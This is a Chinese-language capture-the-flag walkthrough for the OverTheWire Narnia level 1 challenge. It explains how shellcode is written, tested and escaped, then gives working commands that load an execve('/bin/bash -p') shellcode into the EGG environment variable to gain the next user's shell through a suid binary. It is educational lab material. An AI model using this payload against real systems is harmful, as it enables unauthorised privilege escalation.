目錄
今日目標
繼續 narnia 系列。今天的目標是 narnia1。
首先,這個挑戰本身很簡單,但是可以細想一下背後的原理,還是有一些地方值得挖掘和理解。
這是 narnia1 的源碼。
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
源碼要求要設置一個名爲 EGG
的環境變量,這個環境變量被賦值給變量 ret
,最後程序調用 ret
執行 EGG
中的指令。
narnia 的實現原理都是一樣,每一個二進制都設置了 suid
,運行時獲得下一個用戶的權限,從而能獲取下一個用戶的密碼(回看上一篇)。
可以學到什麼?
什麼是 Shellcode?
Shellcode,又稱 bytecode
,其本質,是機器指令,其表現形式,是機器指令的 16 進制。如下圖:
這一段 shellcode 是 execve("/bin/bash", ["/bin/bash", "-p"], NULL)
的機器指令形式。
下面我們看一下 shellcode 是如何編寫的。
Shellcode 是怎麼編寫出來的?
關於 shellcode 的編寫,推薦這個教程給大家。
上文說過 shellcode 本質是機器指令,要編寫出精簡,可靠的 shellcode 需要對彙編和操作系統有很深入的理解。
作爲一切的開始,我們拿上述教程的第一個例子作說明。
首先寫出要實現功能的彙編代碼。下面的代碼實現一個 exit
系統調用。
然後使用 nasm
編譯,用 ld
鏈接,最後用 objdump
導出彙編代碼。可以看到在每一行彙編代碼之前,都有 2 個字節的 16 進制數,這就是機器指令。前一個字節,對應的是彙編操作,後一個字節,對應的是參數或者操作對象。例如,b0
對應 mov al
,cd
對應 int
等。
下一步,將機器碼按從上到下,從左到右的順序,拼接起來,並在每個機器碼前加上 \x
代表 16 進制,即可得到 shellcode。
這個例子中的 shellcode 就是 \xb0\x01\x31\xdb\xcd\x80
。
有了 shellcode,下一步看一下如何測試。
Shellcode 測試
有了 shellcode,該怎麼測試是否可用呢?在真實的逆向環境中,還會遇到很多如壞字符(bad character)等的情況,造成 shellcode 不可用。足夠的測試工作是保證 shellcode 可靠性的重要步驟。
一般情況下,可以使用下面這個模板代碼,來測試 shellcode。
char code[] = "bytecode will go here!";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
拆解一下:
code
是一個字符數組,用於存放 shellcode,直接複製 shellcode 賦值給 code 即可func
是一個指向方法的指針,這個方法沒有確定的參數,返回值爲 int(int (*)()) code
將字符數組的地址轉換成與 func 一樣的方法指針,賦值給 func(int)(*func)()
調用 func,及 shellcode
如果大家的機器是 64 位的,那麼彙編代碼不需要變動,但是在編譯的時候,要使用 elf64
。
nasm -f elf64 test.asm
ld -o exiter test.o
因爲是 exit
調用,也就是程序開始之後立刻調用 exit
退出,怎麼才能知道真的調用了 exit
呢?
strace
可以幫我們查看方法調用。
# 根據系統版本不同自行安裝 strace
strace ./exiter
顯示如下,調用了 exit
。
“\x” 轉義序列
看這樣一段 shell-storm 上的 shellcode:
#include <stdio.h>
# 轉義之後的 16 進制形式的 shellcode
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x6b\x0c\x59\x9a\x53\x67\x69\x2e"
"\x71\x8a\xe2\x53\x6b\x69\x69\x30"
"\x63\x62\x74\x69\x30\x63\x6a\x6f"
"\x8a\xe4\x53\x52\x54\x8a\xe2\xce"
"\x81";
int main(int argc, char *argv[])
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
# 調用 shellcode
(*(void(*)()) shellcode)();
}
有一個問題,上面的 shellcode,在編譯的時候,是通過什麼方式存儲的?
可以看到整個 shellcode 是一個字符串,包含在 ""
雙引號之中。
首先,可以肯定的是不可能按照字面字符存儲。因爲每一個 16 進制代表的機器碼指令,如果按照 e
和 b
這樣存儲,即 0x6562
,完全不是我們想要的指令。
“\x” 的作用
\x
將 hh
給出的數值當作 16 進制來處理。
“\x” 轉義的 16 進製作爲字符串的處理
如果轉義之後的 16 進制是包含在雙引號 "
之中,是字符串,編譯器會在編譯階段,將轉義字符序列之後的數值,按照其對應的字符(按照 Unicode 查找)的二進制存儲。
在 python 中,\x22
被轉換成 "
。
雖然例子是 python,但 python 是 C 寫的,底層邏輯一樣。
回頭看這段 shellcode:
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x6b\x0c\x59\x9a\x53\x67\x69\x2e"
"\x71\x8a\xe2\x53\x6b\x69\x69\x30"
"\x63\x62\x74\x69\x30\x63\x6a\x6f"
"\x8a\xe4\x53\x52\x54\x8a\xe2\xce"
"\x81";
簡單了說,在存儲第一個轉義序列 "\xeb"
的時候,編譯器先將 \xeb
轉換成字符(不一定是可見字符),再轉換成字符對應的二進制進行存儲。
"\xeb" = 16 進制(eb)對應的字符 = 對應字符的二進制
用 python 做個驗證。
大家可以到 這個網站 查看對應的 Unicode 字符。ord
方法可以顯示對應字符的十進制表示,在該網站,對應的字符就是 ë
。
這樣一來,當要把這段 shellcode 加載到內存執行的時候,讀取到的二進制,就是 eb
這個指令。
Bash 設置環境變量
Bash 設置環境變量,或者單純設置變量,下面兩個命令替換操作是一樣的作用。先執行命令,將輸出作爲變量的值。
``
先執行 date
命令,將輸出賦值給 var
。
$()
先執行 uname -a
,將輸出賦值給 var
。
如何利用這個漏洞?
講了這麼多,最後解決起問題來,就很簡單了。
首先設置一個環境變量 EGG,這個 EGG 中包含的,是執行 /bin/bash
的 shellcode。
# echo
export EGG=$(echo -e ’\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81‘)
# printf
export EGG=$(printf ’\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81‘)
# python print
export EGG=$(python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')
echo
,printf
, python print
都可以在這裏使用。
本地測試使用的是 bash
,有一些 shell 會無法顯示這些不可打印字符,所以 echo $EGG
的輸出可能會有不同。
根據之前所講,我們要將 \x
轉義的 shellcode 轉換成相應的字符,才能讓程序在讀取這些字符的時候,轉換成相應的二進制,也就是 shellcode 本身。
然後執行 ./narnia1
。
/bin/bash
執行了,並且當前身份是 narnia2
,可以獲取下一級別的密碼。
- http://shell-storm.org/shellcode/files/shellcode-607.php
- https://stackoverflow.com/questions/21951381/what-does-int-ret-intcode-mean
- https://www.likeanswer.com/question/2585858
- https://www.reddit.com/r/LiveOverflow/comments/eq4tsu/how_int_retvoid_intvoidcode_exececutes_shellcode/
- https://hackmethod.com/overthewire-narnia-1/?v=7516fd43adaa
- http://www.vividmachines.com/shellcode/shellcode.html
- https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow
- https://cs.stackexchange.com/questions/19963/why-octal-and-hexadecimal-computers-use-binary-and-humans-decimals
- https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_29_machinecode.html
- https://en.wikipedia.org/wiki/Escape_sequences_in_C
- https://stackoverflow.com/questions/10057258/how-does-x-work-in-a-string
- https://stackoverflow.com/questions/45612822/how-to-properly-add-hex-escapes-into-a-string-literal
- https://en.wikipedia.org/wiki/Escape_sequence
- https://en.wikipedia.org/wiki/Hexadecimal
- https://unicode-table.com/en/#basic-latin
- http://shell-storm.org/shellcode/files/shellcode-607.php